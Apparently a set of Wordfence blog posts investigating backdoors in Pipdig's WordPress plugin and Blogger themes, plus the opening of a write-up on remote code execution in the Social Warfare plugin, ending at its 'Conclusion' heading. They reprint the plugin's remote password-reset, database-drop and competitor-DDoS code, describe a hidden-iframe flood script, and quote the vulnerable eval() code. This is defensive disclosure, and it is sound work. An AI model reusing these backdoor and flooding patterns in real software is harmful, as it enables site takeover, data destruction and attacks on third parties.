None of this statement aligns with the actual behavior of the code. First, neither of the issued requests (both to Pipdig’s server and second request to the target’s site) contain any meaningful data, much less a license key. Second, the claim that an Author URL is pulled from readme.txt for the second request is false.

We’re now looking into why this function is returning this url. However it seems to suggest that some of the “Author URLs” have been set to ‘kotrynabassdesign.com’. We don’t currently know why this is the case, or whether the site owner has intentionally changed this. The response should hit our site’s wp-admin/admin-ajax.php file under normal circumstances. On the surface it could mean that some pipdig themes have been renamed to other authors. We will be looking further into this issue and provide more information as it comes up. We can confirm that it won’t cause any issues for sites using pipdig themes, even if the author name/URL has been changed.

Further, Pipdig goes on to speculate that their competitor’s URL had somehow ended up replacing their own Author URI, which is why requests were directed to this competitor. This claim is baseless by itself, and the logic doesn’t hold up to scrutiny.

Pipdig doesn’t acknowledge that the competitor’s URL was actually retrieved from their own servers as opposed to any local source. They also don’t address how a license key would be validated by this code when no license is sent.

Moreover, assuming that this code actually pertained to a license checking feature, one would have to assume that their license checking would be broken entirely by the sudden removal of this code following the attention drawn to it. At the risk of editorializing, this seems unlikely.

Do you DDOS competitors?

No.

Pipdig’s amended response to this claim was much simpler, and equally verifiable.

Further Miscellaneous Claims

Additional claims were offered in our post and those from other developers who picked up the story over time. For the sake of brevity, we won’t be detailing them all in this post. Suffice to say, the community has been left hungry for a more substantial response to their concerns.

Removal of Evidence

During the investigation it was revealed that Pipdig maintained a public Bitbucket repository. This repo contained the commit history of the P3 plugin going back to 2015. We cloned this repository to ensure we wouldn’t lose access as time went on, and saved snapshots of the relevant Bitbucket webpages for future citation.

Screenshot of P3’s commit history.

These efforts proved useful when, on March 31st, Pipdig removed this repository and later replaced it with a “clean” one.

A significantly lighter commit history replaced the previous one following Pipdig’s takedown.

To many, the removal of this source of evidence had changed the story significantly. Twitter users responded with uniform disbelief when this had taken place.

When compared to other examples of concealed evidence, like their lack of a disclosure in changelogs and improper versioning, this action was notably suspicious.

One other change stands out, and while it’s less directly nefarious, it still draws a lot of questions about Pipdig’s goals. The new, “clean” repository features a curious difference in its changelog.

Screenshot of P3’s new changelog, which shows 4.8.0’s release date as March 24th.

This version of the changelog claims version 4.8.0 was released on March 24th. However, commits from the actual repository showed that 4.7.1 was released on that date. In reality, it wasn’t until the March 29th that Pipdig’s first release of 4.8.0 was deployed.

We can only speculate regarding Pipdig’s motives in changing this date. Either way, it should be assumed that someone investigating malicious activity would notice a change like this.

Timeline of Events

In this section, we’ll give a step-by-step rundown of when certain actions were taken before and after the discovery of Pipdig’s behavior. Where necessary, this will include code samples and archive links as supporting citations. This won’t be exhaustive, especially in cases where many edits were made to individual lines of code over time, but should offer an authoritative and verifiable history of how the story unfolded.

In light of the fact that Pipdig has been witnessed attempting to conceal evidence of these issues, we have backed up some of our sources through third-party means. These services are known to be trustworthy in their space, and can serve as documentation that these claims are true. When available, we will provide alternate links to these sources in addition to their original location. Additionally, instances of code added and removed from the P3 plugin are supported by the hash of the relevant commit to the plugin’s git repository.

November 7, 2017 – First instance of database drop code
Git Commit: edc47824200e15d64cab7270debc4a0526a8d323
Public Changeset: Original Link | Archived Page
Notes: The database deletion feature in P3 was originally added in this commit, not in July 2018 as Pipdig stated in their public response.

Screenshot showing the added lines of code responsible for database deletion.

June 21, 2018 – First instance of suspected DDoS code
Git Commit:
 dbcf38b0168472b7620b2372edac02cd847db68a
Public Changeset: Taken down by Pipdig before discovery.
Notes: This first instance of code making potential DDoS requests was added here. With comments and a remote path suggesting licensing checks, the inclusion of a spoofed User-Agent string and a lack of any license data in the outbound requeststrongly suggests malicious intent.

Screenshot of the added code in this changeset responsible for suspected DDoS behavior.

September 18, 2018 – First instance of password reset code
Git Commit:
 8e9cf87c57bff6beda963489846d14df09d04cae
Public Changeset: Original Link | Archived Page
Notes: Both inc/functions.php and inc/cron.php were modified as part of this addition. Interestingly, minor edits were also made to the suspected DDoS script during this commit as well.

Screenshot of the diffset showing the addition of Pipdig’s password reset code.

The next several months following the first inclusion of the password reset code featured a number of tweaks and changes. However, for the purposes of this report we’re going to jump ahead to just before the Pipdig story broke publicly.

March 25, 2019 – Most recent code updates to password reset and database deletion features
Git Commits:
3896a43db805c74e9f95ed51d4299f21e479c46d
ac66fc19e4e771a1700f6cf814ca7c5e800b0a48
Public Changeset: Taken down by Pipdig before discovery
Archival Note: While we were unable to archive the changeset of this commit before Pipdig took down the repository, we did archive an annotation of inc/cron.php which corroborates this statement. You can use the Find feature of your browser to search for the shortened commit tags 3896a43 and ac66fc1 to see the exact lines modified in this file.
Notes: Much of Pipdig’s messaging regarding their malicious code has suggested it was all old and defunct. If there was no intent for these to be used, why would they be making code improvements to these features less than a week prior?

Screenshot of a very recent set of changes made to Pipdig’s database deletion and password reset features.

March 27, 2019 – Wordfence notified of issues in P3 plugin

It was right around here that things started picking up speed, so we’ll be adding timestamps moving forward. Times are in PDT (GMT -7).

March 28, 2019

12:29 PM – Reached out to Pipdig for comment via email

2:19 PM – Received response from Phil

2:30 PM – Most offending code removed from plugin
Git Commit: d1f803ec4b40c9163a73f9f08e534051a8a9dec4
Public Changeset: Original Link | Archived Page
Notes: This release was tagged as version 4.8.0 when it went live. It still contained the inc/functions.php code responsible for the password reset feature, though the call to it was removed, leaving it orphaned. We mentioned this orphaned function in our original post.

Screenshot showing swaths of malicious code stripped from the plugin.

March 29, 2019

9:40 AM – Wordfence releases Pipdig report
Link:
 https://www.wordfence.com/blog/2019/03/peculiar-php-present-in-popular-pipdig-power-pack-plugin/

11:09 AM – Orphaned password reset code removed from plugin
Git Commit: 394e9a3293a45eedc32e512ea6680dd4a94107c8
Public Changeset: Original Link | Archived Page
Notes: The orphaned password reset code was removed less than two hours after we reminded Pipdig it existed. This commit was also tagged version 4.8.0 on release, in an apparent effort to conceal the removal of this code.

Screenshot showing the removal of the orphaned p3_check_social_links function.

12:04 PM – @jemjabella releases Pipdig report
Link: https://www.jemjabella.co.uk/2019/security-alert-pipdig-insecure-ddosing-competitors/
Notes: Jem’s investigation had been running in parallel to our own, which we learned upon release of her report. Jem confirmed with Pipdig’s competitor that a harmful amount of incoming traffic had been hitting various admin resources on their site, strengthening allegations of DDoS activity. Jem’s active social following spread this report very quickly.

2:24 PM – Pipdig issues first response
Link:
https://pipdig.co/blog/sad-times/

March 31, 2019

4:05 AM – Pipdig issues updated response
Link:
 https://pipdig.co/blog/sad-times/

12:40-2:19 PM – Pipdig takes down public Bitbucket repository containing incriminating code
Notes:
At some point in this timeframe, Pipdig removed the public Bitbucket repository used by investigators to find specific evidence of their activity. Fortunately for the investigation, snapshots of several incriminating pages had already been taken, and the git repository itself had been cloned.

Bitbucket’s 404 page. If you tried clicking any of the original links, you’ve already seen this.

New Evidence Suggests DDoS Behavior In Pipdig’s Blogger Themes

During the investigation of Pipdig’s WordPress plugin and themes, we also came across some curious code associated with their Blogger themes. This code is part of Pipdig’s suspected DDoS campaign against their competitor, and was active until April 1, four days after Pipdig’s denial of any such behavior.

Some of Pipdig’s Blogger themes have been confirmed to make external JavaScript calls to Pipdig’s server, specifically to the script hXXps://pipdigz[.]co[.]uk/js/zeplin1.js.

Screenshot showing calls to zeplin1.js in the live source of a site using one of Pipdig’s Blogger themes.

This file contained two lines of obfuscated JavaScript code. That is, code written so humans can’t read it.

Example of obfuscated JavaScript found in Pipdig’s zeplin1.js file.

When the second line of this code is deobfuscated and made readable, we get the following:

Deobfuscated contents of line 2 of zeplin1.js. Target domain partially redacted.

Here’s a quick breakdown of what this code is up to.

The code is executed in the browser of the users visiting sites using Pipdig’s themes. This takes place on every page load where zeplin1.js is sourced from Pipdig.

First, Pipdig creates an iframe element in the visitor’s browser. Then it generates some random numbers, and selects a random WordPress endpoint from the following list:

  • /wp-json/oembed/1.0/embed
  • /wp-json/oembed/
  • /wp-json/oembed/1.0/
  • /wp-json/
  • /wp-json/{random number}/
  • /xmlrpc.php
  • /wp-admin/admin-ajax.php

Next, it sets the actual target address value: hXXps://nullrefer[.]com/?hXXps://www.{competitor's domain}[.]com/{random endpoint}. For those unfamiliar, NullRefer is a service used to strip the referrer data out of requests to the second link in the path. What this means, is Pipdig uses NullRefer to hide the actual source page of the requests to their competitor’s site. This is understandable, because all of these referrers would be sites running Pipdig’s themes.

Finally, the rest of the JavaScript is used to take the iframe all of this happens in, and makes it invisible before actually loading it.

To clarify, every time a visitor reaches any site running a Blogger theme from Pipdig using this script, their browser would fire an additional request to their competitor’s site. This request hides where it came from, hits a literally randomized file on the competitor’s server, and does nothing with the data. This behavior is hidden not only from the visitors to these sites, but to the owners of these sites as well.

Supporting Evidence

Pipdig has made additional efforts to hide evidence of this behavior from zeplin1.js . On April 1, Pipdig removed the second line from this script on their servers. Luckily, we had assembled a number of authoritative copies proving it was present. This was made easier due to the great number of Internet Archive snapshots available of the script. Because references to it appear on a great deal of sites running Pipdig’s code, the archive’s crawlers come across it fairly often.

The first known instance of suspected DDoS code appearing in zeplin1.js was archived on January 31, 2019. An archival of the file on this date can be found on the Internet Archive. Interestingly, the code wouldn’t actually work in this first incarnation of the script – they forgot the .com in their competitor’s domain name. This was fixed shortly afterward.

Edits to this script came and went in the following weeks. Sometimes, the code was removed. Other times, a different competitor’s domain showed up. However, the most recent time the originally reported competitor’s domain was added suggests that Pipdig was still undergoing suspicious behavior even after they had been called out on it.

  • On March 13, the suspected DDoS code was present. Archive Link
    • Note on this snapshot, the target was a different site than the commonly reported competitor.
  • On March 31, the code was NOT present. Archive Link
  • On April 1, the code WAS present. Archive Link
  • On a later snapshot from April 1, the code had been removed. Archive Link

In the event that Pipdig has this evidence taken down as well, we have made additional verifiable copies of this code through other trusted third parties.

It is unclear at this time whether Pipdig thought this behavior would go unnoticed, though their addition and subsequent removal of this incriminating code at a time when they were under close scrutiny is highly suspicious.

Pipdig Avoids Acknowledging Wordfence

It’s worth noting that in all of Pipdig’s communications regarding this story, Pipdig has pointed the finger at @jemjabella’s article and the claims within. When making baseless legal threats and claims of collusion, it’s understandable why they wouldn’t want to draw attention to the security company who has a clear reputation in this space.

We’ve made further attempts to reach Pipdig regarding this case. We had additional questions following the first response that weren’t answered, and further questions over data that popped up later. Pipdig, unsurprisingly, has provided no response.

Our Recommendation

The single exception to Pipdig’s unwillingness to bring up Wordfence can be found in today’s post on The Register. In their response, they cite our article from last week to back up their claims that the new version of the plugin is safe. In light of Pipdig’s behavior in responding to these issues, and their demonstrated continued abuse of their users and their users’ visitors, we have amended our original recommendation.

Wordfence recommends removing all Pipdig content from your sites, both WordPress and Blogger. Pipdig has demonstrated a willingness to abuse users’ resources to execute unethical, and potentially illegal, activity. Furthermore their repeated denial of solid evidence, and subsequent attempts to conceal it, leave us unable to trust them in the future.

Conclusion

We’ve deployed a malware signature, Backdoor:PHP/pipdigPasswordReset, which has already alerted hundreds of Wordfence users to the danger present in the P3 plugin. P3 users will also be receiving Wordfence dashboard notifications alerting them to our reports on these issues, if they haven’t received them already.

Pipdig’s repeated, documented activity in creating this malicious code is a major problem they needed to answer for. However, the rest of the story would have unfolded much differently had they just admitted wrongdoing from the start. Instead, they’ve shattered the trust of their users by trying to pull the wool over their eyes, and drew the ire of the WordPress community in their attempts to discredit these claims.

The post Pipdig Update: Dishonest Denials, Erased Evidence, and Ongoing Offenses appeared first on Wordfence.

Read More

Peculiar PHP Present In Popular Pipdig Power Pack (P3) Plugin

This week, our team was notified of suspicious code present in a plugin offered alongside themes sold by Pipdig, a UK-based web development team. The user, who wishes to remain anonymous, reached out to us with concerns that the plugin’s developer can grant themselves administrative access to sites using the plugin, or even delete affected sites’ database content remotely. We have since confirmed that the plugin, Pipdig Power Pack (or P3), contains code which has been obfuscated with misleading variable names, function names, and comments in order to hide these capabilities.

We reached out to the Pipdig team with questions about these issues, and within hours a new version of P3 was released with much of the suspicious code removed. Pipdig Power Pack versions up to 4.7.3 contain the backdoor code, which has been removed as of version 4.8.0, at least at the time of this writing. No concrete data is available regarding the exact install base of the P3 plugin, though queries against services like PublicWWW and Censys suggest an install base of 10,000-15,000 sites.

Sites running Pipdig’s software should ensure they’ve updated to the latest version of P3. While we’re stopping short of recommending removing the software, serious consideration should be given on whether to treat Pipdig as a trustworthy vendor going forward. Given the dubious nature of the code present in the previous version and obvious efforts to obscure it, Pipdig’s intentions remain unclear.

Due to the nature of these backdoors, which make remote calls to Pipdig’s servers as opposed to listening for incoming requests, an inbound firewall rule cannot prevent these actions. In an effort to protect Wordfence users, we will be issuing WordPress dashboard notifications to our users with the P3 plugin active. Systems administrators interested in checking their filesystems should look for the plugin slug p3.

In today’s post, we’ll take a look under the hood of the P3 plugin to see what the developers added and how it can affect your site. Then we’ll discuss Pipdig’s response, as well as the importance of developer trust–especially in the unmoderated ecosystem of commercial WordPress plugins and themes.

Unauthenticated Password Reset (To A Hard-Coded String)

The first item we’ll look at is the plugin’s ability to reset the password of any user on an affected site.

// Check for new social channels to add to navbar etc
if (!get_transient('p3_news_new_user_wait')) {
$url = 'hXXps://pipdigz[.]co[.]uk/p3/socialz.txt';
$args = array('timeout' => 4);
$response = wp_safe_remote_get($url, $args);
if (!is_wp_error($response) && !empty($response['body'])) {
	if (email_exists(sanitize_email($response['body']))) {
		p3_check_social_links(email_exists(sanitize_email($response['body'])));
		wp_safe_remote_get('hXXps://pipdigz[.]co[.]uk/p3/socialz.php?list='.rawurldecode($me), $args);
	}
}
}

In the snippet above, taken from lines 88-99 of the file inc/cron.php, we see code ostensibly intended to “check for new social channels” according to the preceding comment. This code is present in a function associated with an hourly WordPress cron event, so it will attempt to run once per hour.

First, the plugin checks for a database transient called p3_news_new_user_wait.  This is a transient set on initial activation, which will remain present for three weeks after being initially set. Thus, if a site has been running the plugin for longer than three weeks, the code block above will run when the hourly cron triggers.

Next, the plugin makes a wp_safe_remote_get() call to hXXps://pipdigz[.]co[.]uk/p3/socialz.txt. If the response from that URL is an email address, the function p3_check_social_links() is run on that email address, after which the plugin sends another request to a different pipdigz[.]co[.]uk address containing the site’s domain (as the variable $me, defined elsewhere). The socials.txt file on Pipdig’s server did not contain any content when tested during the course of this investigation.

Despite the innocuous name, however, p3_check_social_links() has nothing to do with social media.

function p3_safe_styles($styles) {
	$styles[] = 'display'; // For Google Adsense ad widget
	$styles[] = 'text-transform';
	return $styles;
}
function p3_check_social_links($link_style) {
	wp_set_password('p3_safe_styles', $link_style);
}

The function is defined in inc/functions.php, and continues its misleading behavior. It’s located immediately after the definition of another function, p3_safe_styles(), and at a glance seems to make use of it. However, its presence in line 195 is as a string, not a function. In reality, p3_check_social_links() simply changes the password of a given user to the hard-coded string “p3_safe_styles”.

What this means is that if Pipdig were inclined, they could gain administrative access to a site just by knowing the email address of an administrator account. They’d update the socialz.txt file on their end to contain the email in question, wait an hour for the cron to trigger again, and log in to the account with the password “p3_safe_styles”.

The cron event responsible for calling the password reset function has been removed as of version 4.8.0, though the p3_check_social_links() function with the hardcoded password is still present as orphaned code.

Unauthenticated Database Deletion

Following the password reset, the very next lines of code in inc/cron.php contain further concerning behavior: the ability to delete a site’s entire WordPress database remotely.

$url_2 = 'hXXps://pipdigz[.]co[.]uk/p3/id39dqm3c0.txt';
$response = wp_safe_remote_get($url_2, $args);
if (!is_wp_error($response) && !empty($response['body'])) {
	if ($me === trim($response['body'])) {
		global $wpdb;
		$prefix = str_replace('_', '\_', $wpdb->prefix);
		$tables = $wpdb->get_col("SHOW TABLES LIKE '{$prefix}%'");
		foreach ($tables as $table) {
			$wpdb->query("DROP TABLE $table");
		}
	}
}

In this snippet, we see the plugin making a wp_safe_remote_get() call to hXXps://pipdigz[.]co[.]uk/p3/id39dqm3c0.txt. Then, it compares the response to $me, which still refers to the WordPress site’s URL. If id39dqm3c0.txt contains the site’s URL, the plugin will enumerate and individually drop every database table associated with the site. This check, like the password reset above, is made hourly when the cron is triggered.

To clarify, the Pipdig team can remotely destroy a WordPress site using the P3 plugin by storing its site_url on their server as id39dqm3c0.txt, then waiting an hour and triggering the cron. We did not detect any activity in this file during our investigation.

The database deletion functionality has been removed as of version 4.8.0.

Unusual Scheduled Remote Calls

Pipdig’s plugin, in addition to the more obvious examples, includes some remote calls in its cron events that raise questions of original intent.

The following snippet is present in a daily cron found in inc/cron.php:

// Clear CDN cache
$url = 'hXXps://pipdigz[.]co[.]uk/p3/id39dqm3c0_license.txt';
$response = wp_safe_remote_get($url, $args);
if (!is_wp_error($response) && !empty($response['body'])) {
	$rcd = trim($response['body']);
	//$check = add_query_arg('n', rand(0,99999), $rcd);
	wp_safe_remote_get($rcd.'&'.rand(0,99999), $args);
}

This code is nearly identical to another snippet from the same file, associated with an hourly cron event:

// Check CDN cache
$url_3 = 'hXXps://pipdigz[.]co[.]uk/p3/id39dqm3c0_license_h.txt';
$response = wp_safe_remote_get($url_3, $args);
if (!is_wp_error($response) && !empty($response['body'])) {
	$rcd = trim($response['body']);
	$args = array('timeout' => 10, 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36', 'reject_unsafe_urls' => true, 'blocking' => false, 'sslverify' => false);
	//$check = add_query_arg('n', rand(0,99999), $rcd);
	wp_safe_remote_get($rcd.'&'.rand(0,99999), $args);
}

Both of these events include comments suggesting the code has to do with a CDN cache. This does not appear to be the case.

In both examples, the plugin first makes a call to a text file on Pipdig’s server. The text files each contain a new URL, which the plugin makes a subsequent request to. This second request includes a query string with a random numeral between 0 and 99999, and in the case of the hourly event, a spoofed User-Agent string intended to make the request appear as though it was generated by Google Chrome on a Windows 10 machine.

During our initial review of the P3 plugin, we tested the two Pipdig URLs to see where these daily and hourly requests were eventually ending up. The address queried in the daily event returned a target URL of hXXps://[redacted].com/wp-cron.php, and the hourly lookup returned hXXps://[redacted].com/wp-admin/admin-ajax.php. The contents of these files were emptied shortly after we contacted Pipdig, though response codes indicate the files themselves still exist.

It is unclear at this time why Pipdig was directing sites with their plugin to send these requests to a third party site. It’s also not obvious why one of the requests falsely reports the User-Agent of the request.

The code responsible for these remote requests has been removed as of version 4.8.0.

Update – 14:05 PDT, March 29 2019

We recently became aware of another investigation which had apparently been running in parallel to our own. In a post today, WordPresser Jem “Jemjabella” Turner detailed similar issues, but had gone a bit further in regards to these remote requests.


The post, which can be found here, confirms our initial suspicions that these requests were attempts to issue a DDoS against one of Pipdig’s competitors. In a response, shared in Jem’s blog, the target reported the following:

“I actually had huge trouble with my web host and they explained that my admin-ajax.php file was under some kind of attack [..] I can confirm that I have never given pipdig any permissions to make requests to my servers. Nor was I ever in a partnership or any sort of contact with them.”

This confirmation makes it much clearer why random numerals were appended to the target URLs: it was in an attempt to bypass CDNs and other caches. It also clears up why the hourly requests made use of spoofed User-Agent strings.

Update – 18:20 PDT, March 29 2019

At the request of the competitor who was targeted in these attacks, we have removed references to their name and domain from this post. We did not intend to cause them stress in reporting these issues.

Undisclosed Content and Configuration Rewrites

Changing focus from security concerns to questionable dev practices, we see Pipdig Power Pack quietly making changes to site content.

A screenshot of a Gutenberg post draft asking “Have you used Blogerize?”

Firstly, the plugin includes a content filter that automatically replaces references to Blogerize, a service which claims to be a beginner’s blogging course, with references to Pipdig’s own services.

function p3_content_filter($content) {
	if (get_transient('p3_news_new_user_wait')) {
		return $content;
	} elseif (is_single()) {
		$content = str_replace('bloger'.'ize[.]com', 'pipdig[.]co/shop/blogger-to-wordpress-m'.'igration/" data-scope="', $content);
		$content = str_replace('Blog'.'erize', 'Blog'.'ger to WordPress', $content);
	}
	return $content;
}
add_filter('the_content', 'p3_content_filter', 20);

The p3_content_filter() function, present in inc/functions.php, performs the swap. It begins by checking if the p3_news_new_user_wait transient is set, which you may recall from earlier is present for three weeks on new installs. Once three weeks is up the filter runs on any viewed posts, replacing the string Blogerize with Blogger to WordPress, and any instances of the domain blogerize.com are replaced with pipdig[.]co/shop/blogger-to-wordpress-migration/" data-scope=".

Not only does this occur silently in the background, but users who encounter the issue may find it difficult to identify the cause due to the obfuscation employed by the plugin’s developer. The strings used, both originals and their replacements, are broken up in the code and concatenated by PHP. For example, searching for blogerize[.]com in your site’s filesystem wouldn’t catch the plugin’s use of 'bloger'.'ize[.]com'.

The final rendered result of the content filter, which now asks “Have you used Blogger to WordPress?”

Cursory searches reveal at least three live sites with content affected by this filter, all blog posts discussing Blogerize’s services, where links and brand references are all replaced with Pipdig’s content.

In addition to this content filtering, P3 makes some plugin-related decisions for its users that they aren’t made aware of.

function pipdig_p3_activate() {

	add_option('pipdig_id', sanitize_text_field(substr(str_shuffle(MD5(microtime())), 0, 10)));

	update_option('link_manager_enabled', 0);
	update_option('antispam_dismiss_notice', 'true');
	update_option('endurance_cache_level', 0);

	$plugins = array(
		'wd-instagram-feed/wd-instagram-feed.php',
		'instagram-slider-widget/instaram_slider.php',
		'categories-images/categories-images.php',
		'mojo-marketplace-wp-plugin/mojo-marketplace.php',
		'mojo-marketplace-hg/mojo-marketplace.php',
		'autoptimize/autoptimize.php',
		'heartbeat-control/heartbeat-control.php',
		'instagram-slider-widget/instaram_slider.php',
		'vafpress-post-formats-ui-develop/vp-post-formats-ui.php',
		'advanced-excerpt/advanced-excerpt.php',
		'force-regenerate-thumbnails/force-regenerate-thumbnails.php',
		'jch-optimize/jch-optimize.php',
		'rss-image-feed/image-rss.php',
		'wpclef/wpclef.php',
		'wptouch/wptouch.php',
		'hello-dolly/hello.php',
		'theme-test-drive/themedrive.php',
	);
	deactivate_plugins($plugins);

In the plugin’s activation hook, found in p3.php, a number of plugins are immediately deactivated if present. No reason is given for this action. The following plugins are all deactivated when P3 is activated:

  • 10Web Instagram Feed – Instagram Gallery (wd-instagram-feed)
  • Instagram Slider Widget (instagram-slider-widget)
  • Categories Images (categories-images)
  • Mojo Marketplace (mojo-marketplace-wp-pluginmojo-marketplace-hg)
  • Autoptimize (autoptimize)
  • Heartbeat Control (heartbeat-control)
  • Instagram Slider Widget (instagram-slider-widget)
  • Vafpress (vafpress-post-formats-ui-develop)
  • Advanced Excerpt (advanced-excerpt)
  • Force Regenerate Thumbnails (force-regenerate-thumbnails)
  • JCH Optimize (jch-optimize)
  • Clef (wpclef)
  • WPtouch (wptouch)
  • Hello Dolly (hello-dolly)
  • Theme Test Drive (theme-test-drive)

Many of these plugins are very popular, with more than a hundred thousand installs. Other than certain exceptions like Hello Dolly (which certainly isn’t mission critical) and Clef (which is defunct), users may rely on these plugins and having them quietly deactivated could certainly cause headaches.

Later in the same file, another batch of plugins are listed and deactivated. This time the call is made alongside admin_init, so even if a user reactivates one it won’t stick. At least in this case, comments are made on some of the plugins in an attempt to explain why each is disallowed. Still, users are left unaware that this deactivation is even taking place unless they’re watching for it.

// Don't allow some plugins. Sorry not sorry.
function p3_trust_me_you_dont_want_this() {
	$plugins = array(
		'query-strings-remover/query-strings-remover.php', // Stop removing query strings. They're an important part of WP and keeping the site working correctly with caching.
		'remove-query-strings-from-static-resources/remove-query-strings.php',
		'scripts-to-footer/scripts-to-footer.php', // Scripts must also be located in the <head> so the widgets can render correctly.
		'fast-velocity-minify/fvm.php',
		'contact-widgets/contact-widgets.php', // Font awesome 5 breaks other icons
		'theme-check/theme-check.php', // our themes aren't designed for the w.org repo
		'wp-support/index.php' // malware?
	);
	deactivate_plugins($plugins);
}
add_action('admin_init', 'p3_trust_me_you_dont_want_this');

The following plugins are deactivated in this set:

  • Query Strings Remover (query-strings-remover)
  • Remove Query Strings From Static Resources (remove-query-strings-from-static-resources)
  • Scripts To Footer (scripts-to-footer)
    • Note: The slug on the WordPress.org plugin repository for Scripts To Footer is actually scripts-to-footerphp, so this one won’t actually deactivate.
  • Fast Velocity Minify (fast-velocity-minify)
  • Contact Widgets (contact-widgets)
  • Theme Check (theme-check)
  • WP Support (wp-support)

Whether or not the given reasons for deactivating these plugins are legitimate, it’s at best questionable practice to make these sorts of changes on behalf of your users without their knowledge.

These content and configuration changes have not been removed from Pipdig Power Pack, and are still present as of version 4.8.0.

Response From Pipdig

Once we became aware of these issues, and confirmed them internally, we reached out to Pipdig for comments on some of our concerns.

In response to our questions about the plugin’s database deletion feature, Pipdig’s Creative Director Phil Clothier said the following:

“Last year we had some serious problems after someone obtained a huge list of license keys and downloaded all of our products. The keys and files were then distributed on their file sharing site, which has since been taken down (not by us, ironically!). The drop tables function was put in place to try to stop this at the time.”

Clothier claimed P3’s users were notified at the time when this functionality was introduced, though there doesn’t appear to be any remaining mention of it in the company’s documentation or terms of service. No mention of any of these capabilities had been made during the process of purchasing and activating a Pipdig theme and the P3 plugin.

Our questions about the plugin’s password reset feature, as well as our concerns about the misleading coding conventions used to obfuscate these behaviors, were not acknowledged by Pipdig in their response.

No Mention In The Patch

When we were initially made aware of these issues earlier this week, the latest available version of P3 was 4.7.3. After our contact with Pipdig, 4.8.0 was released. However, the changelog present in 4.8.0 made no mention of 4.7.3 at all.

Screenshot of the diffset comparing P3’s readme.txt file between 4.7.3 and 4.8.0.

In fact, when looking at the diffset between 4.7.3’s readme file and the one in 4.8.0, you can see that the only change was to increment the version number and date of the preexisting changes for 4.7.3. No mention at all is made of the removal of two backdoors and other suspicious code. Since these were the main changes in the new version, it would be difficult to add a standalone entry for 4.8.0 without mentioning them.

It’s understandable that Pipdig may not want to draw attention to these issues, but disclosing the existence of a security release is ethically important.

Final Thoughts

Pipdig Power Pack, a plugin used by all of Pipdig’s commercial WordPress themes, included a number of questionable features for an indeterminate amount of time until yesterday’s release of version 4.8.0. Prior to this, Pipdig maintained the ability to gain administrative access to (or entirely break) any WordPress site with the plugin active. Even on updated versions,  content rewriting and plugin deactivations can take place without user knowledge.

Much of the code in question was deliberately misleading or obfuscated, such as the use of a function named p3_check_social_links() to change a user’s password or splitting the string 'Blog'.'erize' to conceal attempts to market Pipdig’s services.

Pipdig’s claims that all of this behavior had honest intent is not surprising. Ultimately the impact of these development decisions depends on their users’ trust in them as a company–after all, it’s up to Pipdig’s word that these backdoors were never actually utilized. While we don’t have evidence to the contrary, Pipdig’s deliberate use of misleading code still raises concerns. At best, it puts new Pipdig customers in an uncomfortable position: they were unaware of any of this before purchase, and Pipdig does not offer refunds on any of their products in the event that it’s deemed unacceptable.

Once again, we strongly urge Pipdig users to update P3 to version 4.8.0 immediately. Afterwards, consider keeping an eye on future updates to Pipdig’s plugins and themes to ensure newly added code meets your site’s security standards. Wordfence users with P3 active will soon receive notifications on their WordPress dashboard notifying them of this story.

What are your thoughts? Was Pipdig in the clear to add these features to their plugin? Is the type of code obfuscation they’ve used acceptable? Is their removal of the most concerning code a satisfactory response? Let us know in the comments below, or @Wordfence on Twitter.

The post Peculiar PHP Present In Popular Pipdig Power Pack (P3) Plugin appeared first on Wordfence.

Read More

Recent Social Warfare Vulnerability Allowed Remote Code Execution

In posts last week, we detailed a vulnerability in the Social Warfare plugin, and discussed the attack campaigns against it. These issues were reported widely as Cross Site Scripting (XSS) flaws, due to an unexpected disclosure and proof of concept released by an unnamed researcher. Our Threat Intelligence team quickly released a firewall rule to mitigate impact for our customers, and the plugin’s author issued a patch shortly thereafter. Attackers have issued persistent exploit attempts against this flaw, which are primarily connected to injected JavaScript redirect activity.

However, the patched vulnerability was not limited to XSS behavior. During the triage process, our team identified additional exploitable behavior in Social Warfare’s database migration code. This allowed remote code execution (RCE) on the vulnerable version, 3.5.2, in addition to the reported XSS capability.

Because the WordPress community had already been made aware of the critical 3.5.3 patch to the plugin, and because we had not identified any threat actors making use of this capability in the wild, we withheld this element from publication temporarily. We reached out to the WordPress.org plugin team to make sure they were aware of the issue, and have continued to monitor attack data to confirm no malicious RCE attempts have been caught.

Earlier today, this additional capability was reported by another security research team. Because this will more than likely prompt a new wave of exploit attempts, we feel it’s important to inform our users of the scope of these issues, and how we protect them.

Before we discuss the scary parts, some good news. The RCE vulnerability was removed in the same patch as the XSS flaw, 3.5.3. If you’ve updated Social Warfare, you are not vulnerable to this additional flaw. Additionally, the firewall rule we released last week for the XSS issue blocks the RCE as well, so Wordfence Premium customers are still secure if they haven’t managed to update yet. As usual, firewall or otherwise, it’s important that you update to 3.5.3 of Social Warfare immediately.

Remote Code Execution (RCE) Vulnerability In Detail

In last week’s post detailing the XSS vector, we shared a snippet of the plugin’s code that was responsible for the initial injectable input. The plugin is provided a remote URL, ostensibly containing an exported set of Social Warfare configuration options, and fetches the contents to begin the migration process.

/**
 * Migrates options from $_GET['swp_url'] to the current site.
 *
 * @since 3.4.2
 */
if ( true == SWP_Utility::debug('load_options') ) {
	if (!is_admin()) {
		wp_die('You do not have authorization to view this page.');
	}

	$options = file_get_contents($_GET['swp_url'] . '?swp_debug=get_user_options');

However, this snippet cut short of the RCE flaw just a few lines below:

$options = str_replace('<pre>', '', $options);
$cutoff = strpos($options, '</pre>');
$options = substr($options, 0, $cutoff);

$array = 'return ' . $options . ';';

try {
	$fetched_options = eval( $array );
}

The intent of this code was to parse a remote text document into a key->value array of options for the plugin to use. However, instead of using a typical data storage format like a serialized string or (preferably) JSON, the plugin generated options as an actual block of PHP code, which is crunched by eval() into an array.

Configuration document generated by Social Warfare to be migrated into a new site.

When a malicious injection matches the format used by the plugin normally, as in the attack campaigns running currently, an XSS payload can be injected into one or more of those settings. However, the contents of <pre> tags in the remote file are arbitrarily passed to eval(), meaning the code within is executed directly as PHP.

A basic example of a remote payload demonstrating PHP execution.

As in the example above, if the contents of the remote address passed via swp_url contain a simple phpinfo(); call between <pre> tags, the site will return a rendered phpinfo page.

With the ability to execute arbitrary PHP, attackers effectively have control of vulnerable sites. First, backdoors can be deployed, rogue WordPress administrators can be created, and system commands can be run, among other footholds. From there, attackers can leverage the controlled site however they choose, whether for spam, phishing, or other monetization methods.

Conclusion

